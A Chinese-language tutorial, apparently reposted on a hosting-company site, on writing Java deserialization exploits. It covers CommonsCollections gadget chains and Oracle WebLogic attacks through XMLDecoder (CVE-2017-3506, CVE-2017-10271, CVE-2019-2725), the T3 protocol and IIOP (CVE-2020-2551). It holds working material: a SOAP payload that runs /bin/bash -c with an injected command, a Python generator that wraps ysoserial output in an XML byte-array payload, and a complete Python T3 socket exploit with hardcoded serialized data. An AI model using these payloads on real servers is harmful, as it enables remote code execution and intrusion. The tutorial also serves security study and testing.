高防服务器

怎么浅析反序列化POC


怎么浅析反序列化POC

发布时间:2021-12-18 18:23:40 来源:高防服务器网 阅读:63 作者:柒染 栏目:网络管理

这篇文章给大家介绍怎么浅析反序列化POC,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0x00 JBOSS反序列化POC编写

CommonsCollections的利用就是一部反序列化漏洞腥风血雨的历史。

CommonsCollections类型的POC编写:

CC反射链的编写离不开四个Transformer类:

ConstantTransformer,invokerTransformer,ChainedTransformer,TransfoeredMap

第一个ConstantTransformer负责输入一个xxx.class,返回java.lang.Class的类对象,这个是为了后续调用获得getMethod的对象。

第一个invokerTransformer相当于执行

Method getRun = Runtime.class.getMethod(“getRuntime”,参数类型说明)

通过反射传入getRuntime参数的getMethod方法,当然传入这个方法反射得到的结果是,getRuntime的Method对象。

第二个invokerTransformer相当于执行

Runtime getRun = getRun.invoke();

第三个invokerTransformer相当于执行

Method getexec = Runtime.class.getMethod(“exec”,参数类型说明)

getexec.invoke(getRun,需要执行的命令)

最后通过给ChainedTransformer传入Transform数组,再将ChainedTransformer传入TranformedMap,进行decorate,EntrySet转化,最后触发TranformedMap类的setValue方法,通过setValue方法逐个触发Transformer类的transform方法。

参见:

https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg

https://www.freebuf.com/articles/web/246081.html

LazyMap类型POC的构造

LazyMap的调用还是与TransformedMap的调用有些不同,因为LazyMap没有setValue方法,那么就要想办法去调用LazyMap的get方法。

通过get方法去触发ChainedTransformer的transfrom方法,这个时候就不能使用编写TransformedMap那样的套路去玩了。需要使用动态代理机制去触发AnnotationInvocationHandler类的invoke方法

那就需要构造两次InvocationHandler代理,第一次构造是为了LazyMap的代理对象再进行任何方法调用的时候进行invoke方法中default选项的触发,第二次为了让InvocationHandler代理对象进行readObject方法调用。

参见:https://www.freebuf.com/articles/web/247672.html

BadAttributeValueExpException类型POC编写

BadAttributeValueExpException类的readObject方法调用了传入数据流的val域的toString方法。

那么就找一个val域有toString方法的类,而且这个类toString方法可以触发LazyMap对象的get操作,这个类可以传入LazyMap对象。

TiedMapEntry正好满足:

toString方法调用getValue方法

getValue方法,调用map类型对象的get方法,而LazyMap又是map接口的实现类,完美。

实现过程:CC链传入ChainedTransformer,ChainedTransformer传入LazyMap,LazyMap传入TiedMapEntry,TiedMapEntry作为BadAttributeValueExpException的val域的引用,经过序列化的BadAttributeValueExpException进行readObject,readObject调用val域的toSting,toString调用getValue,getValue调用get,get触发ChainedTransformer的transform方法,ChainedTransformer的transform方法触发Transformer数组的transform方法。

0x01 XMLDecoder反序列化POC编写

weblogic XMLDecoder是基于SOAP去解析的,具体的分析文章网上都有,后面会附加参考链接。

简单来说XMLDecoder的修补史就是SOAP标签的绕过史

首先看CVE-2017-3506,因为XMLDecoder对SOAP形式的XML文件进行解析,对WorkContext标签内的所有标签进行解析,将java标签下的第一个职位class的object标签解析为需要加载的类,将最后一个class值为method的void标签解析为加载的类所要使用的方法,将array标签内class的值解析为方法的参数类型,length为参数的个数,中间的void+string类型的标签为方法执行的各个参数值。

接着看CVE-2017-10271对CVE-2017-3506的补丁内容:

只是过滤了object标签,那又找了新的类去绕过,voidElementHandler继承自ObjectElementHandler所以,void标签,自然也就可以按照Object标签进行解析处理了。

只是过滤了object标签,那又找了新的类去绕过,voidElementHandler继承自ObjectElementHandler所以,void标签,自然也就可以按照Object标签进行解析处理了。

接下来贴出一个CVE-2017-10271&CVE-2017-3506的通用POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">      <soapenv:Header>       <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">       <java version="1.4.0" class="java.beans.XMLDecoder">       <void class="java.lang.ProcessBuilder">       <array class="java.lang.String" length="5">       <void index="0">       <string>/bin/bash</string>       </void>       <void index="1">       <string>-c</string>       </void>       <void index="2">       <string>  + cmd +  </string>                          </void>       <void index="3">       <string>>></string>      </void>       <void index="4">      <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/cmdecho.txt</string>      </void>      </array>       <void method="start"/></void>       </java>       </work:WorkContext>       </soapenv:Header>       <soapenv:Body/>     </soapenv:Envelope>

再看CVE-2019-2725对之前的补丁:

private void validate(InputStream is) {        WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();        try {           SAXParser parser = factory.newSAXParser();           parser.parse(is, new DefaultHandler() {              private int overallarraylength = 0;              public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                 if(qName.equalsIgnoreCase("object")) {                    throw new IllegalStateException("Invalid element qName:object");                 } else if(qName.equalsIgnoreCase("new")) {                    throw new IllegalStateException("Invalid element qName:new");                 } else if(qName.equalsIgnoreCase("method")) {                    throw new IllegalStateException("Invalid element qName:method");                 } else {                    if(qName.equalsIgnoreCase("void")) {                       for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                          if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {                             throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));                          }                       }                    }                    if(qName.equalsIgnoreCase("array")) {                       String var9 = attributes.getValue("class");                       if(var9 != null && !var9.equalsIgnoreCase("byte")) {                          throw new IllegalStateException("The value of class attribute is not valid for array element.");                       }

平安团队对此进行了分析,最后的结论:

1、 禁用 object、new、method 标签

2、 如果使用 void 标签,只能有 index 属性

3、 如果使用 array 标签,且标签使用的是 class 属性,则它的值只能是 byte

但是class标签还在,这个标签可以声明需要调用的类,还有惊喜,就是array标签可以使用,只要是byte类型就行。

那么现在需要找到这次出问题的地方,看之前的补丁。

那就找一个既可以解析byte类型的构造方法的类,UnitOfWorkChangeSet(盗个图)

那就让它调用这个类,给这个类传递byte数组

<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">     <soapenv:Header>  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java>  <array method="forName"><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>  <void>  <array class="byte" length=反序列化数据字节的长度>                   <void index="0">                 <byte>-84</byte>                 ...                 ...          </array>  </void>  </class>               </java>           </work:WorkContext>

这里在weblogic 10.3.6(JDK 1.6)的环境下复现:

首先这个类的构造方法可以readObject,那就先构造这样一个类。

先用ysoserial生成commons-collection生成一个反序列化文件。

然后将这个反序列化转化为16进制,一个字节是8个二进制位,一个字节相当于2个16进制位,16进制转化为byte型,并进行POC的拼接。

每一段反序列化数据必定以ac ed开头,那么第一个字节的值就应该是:

ac=10101100=172,但是byte的存储范围是-128~+127,这个明显是溢出了,然而计算机的存储是按照补码进行存储的,补码到原码的计算应该是符号位为1,其余各位取反,然后再整个数加1。

11010011+00000001=11010100=-84,这就是为什么POC中第一个开头的字节值为-84。

那么接下来编写生成POC的py脚本。

反序列化文件转化思路:先将文件中中的数据转化为16进制,然后两个16进制数为一组,并在其之前拼接’0x’然后将其归为一个列表的元素。

进制转换思路:如果两个16进制的10进制值小于127,那么不对它进行操作,保留原值,如果不是则对其进行原码运算,最后转为10进制值。

原码运算思路:

补码-1,得到反码,反码除符号位外按位取反。

将这些10进制的值挨个拼接到XML的标签中。

代码如下:

# -*- coding:utf-8 -*-  import binascii  with open('poc', 'rb') as f:      a= binascii.b2a_hex(f.read()).decode('utf-8')  b = []  for i in range(len(a)//2):      c = '0x'+a[2*i]+a[2*i+1]      c = eval(c)      if int(c)>127:          c = int(c)          c ='{:08b}'.format(c)          c = list(c)          d = ''          for i in range(len(c)):              if i == 0:                  d += c[i]                  continue              elif c[i] == '1':                  c[i] ='0'                  d += c[i]              else:                  c[i] = '1'                  d += c[i]          d = list(d)          pos = 0          for index in range(len(d)):              if d[index] == '0':                  pos = index          for index in range(pos,len(d)):              if d[index] == '0':                  d[index] = '1'              else:                  d[index] = '0'          d.remove(d[0])          d = '0b'+''.join(d)          d = '-' + str(eval(d))          b.append(d)      else:          b.append(str(c))  pocHeader = '<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">'               '<soapenv:Header>'               '<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">'               '<java>'               '<array method="forName">'               '<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>'               '<void>'               '<array class="byte" length="' + str(len(b)) +'">'  pocBody = ''  for i in range(len(b)):      pocBody += '<void index="'+str(i)+'"><byte>'+str(b[i])+'</byte></void>'  pocFooter = ' </array>'               '</void>'               '</array>'               '</java>'               '</work:WorkContext>'   '</soapenv:Header>'   '<soapenv:Body/>'   '</soapenv:Envelope>'  pocAll = pocHeader + pocBody + pocFooter  f = open('poc.txt','w+')  f.write(pocAll)

然后发送到/wls-wsat/的接口中,成功弹出计算器。(这里有一个疑问,为什么别人编写的POC要去掉<byte>0</byte>的XML的节点呢?我没有去也成功了)

这是对于之前补丁的绕过,看下新发现的接口是async:

对于这个接口的POC就是,加上<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>,分析过程参见平安团队的freebuf文章。

这里直接给之前CVE-2017-10271&CVE-2017-3506的通用POC加上这两个XML标签,在<soapenv:Header>之后,<work:WorkContext>之前发送POC看一下:

这里注意,POC都顶格写啊,为什么,参见廖师傅的文章:

http://xxlegend.com/

参考链接:

https://www.freebuf.com/vuls/206374.html

0x02 T3协议反序列化POC编写

T3这个东西吧,存在即合理,所以每次都被安全研究的大佬们找到内部类,然后通过序列化数据加载内部类。

T3协议的作用

说白了,T3就是另类的远程方法调用

T3反序列化数据的构成

T3的数据流程是这样接收的,客户端发送固定的握手信息:

t3 12.2.1nAS:255nHL:19nMS:10000000nPU:t3://us-l-breens:7001nn

服务端返回:

客户端再发送经过特殊构造CC链的新建文件的反序列化数据

T3数据构造过程:

在一台开启weblogic服务的靶机上将/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh,进行修改,在这个脚本对另一个weblogic主机发送stop的请求的时候,会会发送T3的序列化数据,之后使用wireshark抓取该数据。

修改过程:

https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/

如何利用T3协议进行远程类加载

利用T3协议的反序列化机制,反序列化可以远程加载方法的类,然后去加载远程方法,即二次序列化。

这里使用低版本weblogic的尝试一下CC链+JRMP远程方法调用,还是CVE-2019-2628,再次回顾一下weblogic stop脚本的流量。

第一次握手:

第二次发送序列化请求:

第三次发送序列化对象:

虽然看着是一滩还算清楚的洋码子,但是大佬们POC的编写已经开始细节了(和我之前学大佬的大有差别,https://blog.csdn.net/he_and/article/details/97924679)。

在这里先用上一次的文章的POC试一下能不能二次序列化:

先用yso生成一个JRMP请求的序列化脚本

启动服务器监听和HTTP服务结果报错

正常反序列化成功之后服务端报错为:

那么看下别人的是怎么成功的,先贴出GitHub上的示例:

https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2018_2628.py

首先看注释:

说是第一次是发送t3的请求对象

第二次才是序列化的对象,对比一下GitHub脚本与weblogic stop脚本,握手的就不看了,直接看t3请求的数据:

将data1,2,3,4直接拼接好,hex转码,拼接data2的时候注意,data2变量的尾部有这么一个小细节

在data2中间还有一个细节

意思就是说,尾部的dport(一般为7001)转化为4位16进制之后,填充到{0}的位置。

7001转化为16进制为1b59,我直接把后面的format去掉,将{0}替换为1b 59。

hex解码与weblogic的stop脚本流量对比不同之处。

除了IP地址的不同好像没有什么不同,再看反序列化数据的第二段

将反序列化的数据拼接到序列化的数据流中。

那为什么要分成data1,2,3,4这样发送呢,再返回看数据包的过程。

那么截取掉1b59等待端口的16进制来替换

在长度为1514的序列化请求数据包后面还有一个长度为88的数据包,也截取出来

OK,那么在序列化数据的时候发送了两次TCP的数据

返回结果与数据包中的一致,所以感觉没必要分四次发送

开始第二步,发送恶意序列化对象,这里还是看一下原POC

可以看到fe010000为一段反序列化数据的结束,aced0005为一段反序列化数据的开头,还是先看数据包

进入该数据包,只截取00000372之后的Hex,前面的都是TCP数据包的字符,只有后面才是真正的T3数据

然后求下这段Hex的长度/2,Hex转化后长度的值为:372,那么大致判断为这段数据的组合方式为“固定的T3数据头”+“反序列化数据段”,而这种分段方式每段反序列化数据段都是以aced0005开头,以fe010000结尾,我这里先尝试直接截取第一个aced0005之前的数据,后面直接从yso生成的序列化文件中拼接到截取的数据后,再在这段数据后’fe010000’,然后求出这段Hex字符串的长度,填充到开头,以左补0的方式。

那么POC就可以编写如下了:

# -*- coding:utf-8 -*-  import binascii  import socket  import time      def t3():      hello = 't3 12.2.1nAS:255nHL:19nMS:10000000nn'      host = ('192.168.23.128', 7001)      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)      sock.settimeout(15)      sock.connect(host)      sock.send(hello.encode('utf-8'))      time.sleep(1)      response = sock.recv(2048)      print(response)      data1 = '000005be016501ffffffffffffffff000000690000ea600000001816e4292ca381af623658de6c3770e50a53746339ada2505a027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774f210000000000000000000f3139322e3136382e3135342e313332000f3139322e3136382e3135342e3133327de213520000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d017344e7564a2ec4'      data2 = '14000a3137322e32302e302e325adb1b310000000078'      for d in [data1, data2]:          sock.send(binascii.a2b_hex(d))      print(sock.recv(2048))        with open('poc1', 'rb') as f:           a = binascii.b2a_hex(f.read()).decode('utf-8')      header = '056508000000010000001b0000005b010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000ab08d9e9c939abfcecdcc7400087765626c6f67696306fe010000'      footer = 'fe010000'      data = header + a + footer        data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)      sock.send(binascii.a2b_hex(data))      time.sleep(5)  if __name__ == "__main__":      t3()

利用yso输出JRMPClient的序列化文件

启动yso的监听

执行脚本,弹出计算器

在看下数据包的后续流程:

0x03 IIOP反序列化POC学习

参考文档:https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

贴一下原因吧:

Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口,这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤,resolveClass方法是会读取父类的,所以T3协议这样过滤没问题。但是IIOP协议这块虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断,默认只会判断本类的类名,而JtaTransactionManager类不在黑名单列表里面并且存在jndi注入。

这里对Y4er师傅的poc进行一下分析(注要是底层实在跟不动,顶不住啊,能改改POC就行了),https://github.com/Y4er/CVE-2020-2551

其中createMemoitizedProxy创建了一个AnnotationInvocationHandler的动态代理,然后将这个动态代理的对象发送到服务端,进行反序列化。

具体的参见Y4er师傅的源码。

直接尝试一下

补充一个关于cve-2020-2551的GitHub检测脚本的说明:

https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2020_2551.py

首先运行如下程序

在此处,给IIOP的服务器指定一个错误的端口,这个程序会报错:

说是连接不到这个服务器,且没有通讯流量,那把它换成正常的7001端口

抓取数据包:

程序正常运行,使用wireshark抓取数据包:

将其Hex一下看:

发现红色部分由客户端发送的数据与检测脚本的一致。

返回包中如果存在GIOP字段说明存在漏洞。

0x04 JNDI注入类型LDAP反序列化POC编写

LDAP可以除了可以描述Java的对象信息,还可以返回序列化数据,由JNDI的类进行反序列化。

这个比较简单,直接将生成的序列化文件BASE64编码,然后客户端LDAP请求返回序列化数据就行了。

关于怎么浅析反序列化POC就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[